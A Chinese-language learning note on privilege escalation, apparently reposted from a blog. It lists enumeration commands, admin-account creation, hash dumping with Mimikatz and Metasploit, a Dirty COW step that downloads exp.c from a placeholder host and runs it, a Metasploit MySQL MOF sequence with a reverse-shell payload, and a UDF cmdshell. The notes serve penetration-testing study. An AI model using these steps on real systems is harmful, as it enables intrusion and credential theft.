提权初探

参考教程

内网渗透详解
此文作为一个学习笔记

基础命令

whoami  # 查看当前用户权限
query user  # 查看用户登陆情况
systeminfo  # 查看当前系统版本与补丁信息
net user user password /add  # 添加用户
net localgroup administrators user /add  # 添加到管理员组
net loclagroup "Remote Desktop Users" user /add  # 添加到远程桌面组
ipconfig  # 查 IP
netstat -ano  # 看端口
wmic product get name,version  # 看应用
dir c:   # 看目录
type c:UsersadminDesktop1.txt  # 看文件
echo string>2.txt  # 写入到文件,特殊字符前需要加 ^
copy 1.txt 3.php  # 赋值文件
rename d:2.txt mspaint.bat  # 重命名文件
tasklist  # 查看所有进程
taskkill /im xxx.exe /f  # 强制结束某个进程
set  # 查看环境变量
cat /etc/issue  # 查看发行版本
uname -an  # 查看内核版本
id/whoami  # 当前身份
ip addr/ifconfig  # 查 IP
cat /root/.bash_history  # 历史命令
dpkg -l  # 显示所有软件

权限分类

  • 匿名访问权限
  • 来并权限
  • 用户权限
  • 管理员权限 administrator
  • 系统权限 root/system

当前权限无法实现我们的目标,如增删改执行等

提权分类

  • 本地溢出提权
  • 数据库提权
  • 第三方软件提权
  • 信息泄露

提权 exploit 库

How 怎么提权

基于密码破解的提权

  • Windows 密码获取与破解


有 NT-hash 可直接破解,在线网站:cmd5objectif-securite

--- 获取 Windows hash 与破解

  1. SAM、SYSTEM 文件存储位置
    C:WindowsSystem32configSAM
    C:WindowsSystem32configSYSTEM

  2. 工具抓取 hash
    gethashsPwdumpWce

  3. msf 抓取 hash
    post/windows/gather/hashdump

  4. 破解(暴力) hash
    工具破解 SAM、SYSTEM 文件
    彩虹表破解

  5. 抓取明文密码
    工具抓取:WcegetpassMimikatz

  • Linux 密码获取与破解

--- 获取 Linux hash 与破解

  1. 密码文件

Linux 存放密码相关的文件有:/etc/passwd/etc/shadow
其中 /etc/passwd 全用户可读, root可写;/etc/shadow root用户可读写
其中 /etc/passwd存放用户,以下面的例子为例:

kali:x:1000:1000:Kali,,,:/home/kali:/bin/bash

以冒号为分格,第一列是用户名,第二列是密码,x 代表密码 hash 被放在 shadow 文件里面

kali:$6$BiEAYF4pzDp5QJXH$00iURpImugngJWdAraUxBFfU76xovc6mwuQMe479uN28NesybQxOW7TiLxqrn99nJCfvISJtJiXgIjtTicF720:18390:0:99999:7:::

同样以冒号分格,第一列是用户名,第二列是密码

  1. 破解
    $1$ 开头,在线网站破解
    其他,工具破解:john

windows 提权

  • 信息收集

SAM 文件、日志

  • 内核提权

系统信息

  • 数据库提权

  • 应用提权

Liunx 提权

  • Linux 分析工具

linux-exploit-suggester

  • 内核提权(脏牛)
wget https://xxx.com/exp.c
gcc -o exp exp.c
chmod +x exp
./exp
  • 软件 CVE

exim cve-2016-1531

  • 历史记录提权

/root/.bash_history等敏感文件可能存有账号密码

SQL Server 提权

  • 常用数据库语句
select @@version  # 查看数据库版本
exec master..xp_msver  # 查看数据库系统参数
sp_helpsrvrolemember  # 查看用户所属角色信息
select db_name()  # 查看当前数据库
xp_avaliablemedia  # 显示驱动器


# 查看当前账户权限
select IS_SRVROLEMEMBER("sysadmin")  # serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin
select IS_MEMBER("db_owner")
# 添加用户
exec master.dbo.sp_addlogin user,password  # 添加用户
exec master.dbo.sp_addsrvrolemember user,password  # 添加权限
# 启动/停止服务
exec master..xp_servicecontrol 'start','服务'
exec master..xp_servicecontrol 'stop','服务'
# 检查功能
select count(*) from master.dbo.sysobjects where name="xp_cmdshell"  # xp_regread、sp_makewebtask、xp_subdirs、xp_dirtree、sp_addextendedproc

MySQL 提权

  • 常用数据库语句
select @@basedir  # 数据库目录地址
select @@plugin_dir  # 数据库插件 version>5.1
  • mof 托管对象提权(c:/windows/system32/wbem/mof/)

msf mof 提权操作

use exploit/windows/mysql/mysql_mof
set password xxx
set username xxx
set rhost xxx
set rport xxx
set payload windows/shell_reverse_tcp
set lhost xxx
set lport xxx
exploit
  • udf 用户定义函数提权
导出 c:\windows\udf.dll
Create Function cmdshell returns string soname "udf.dll";
select cmdshell("whoami");
drop function cmdshell

一般操作

  • 首先前提是有一个低权限的 shell
  • 上传/下载 exp 或者一些提权程序
  • 执行 exp 或者通过程序执行命令
原文地址:https://www.cnblogs.com/wjrblogs/p/13412820.html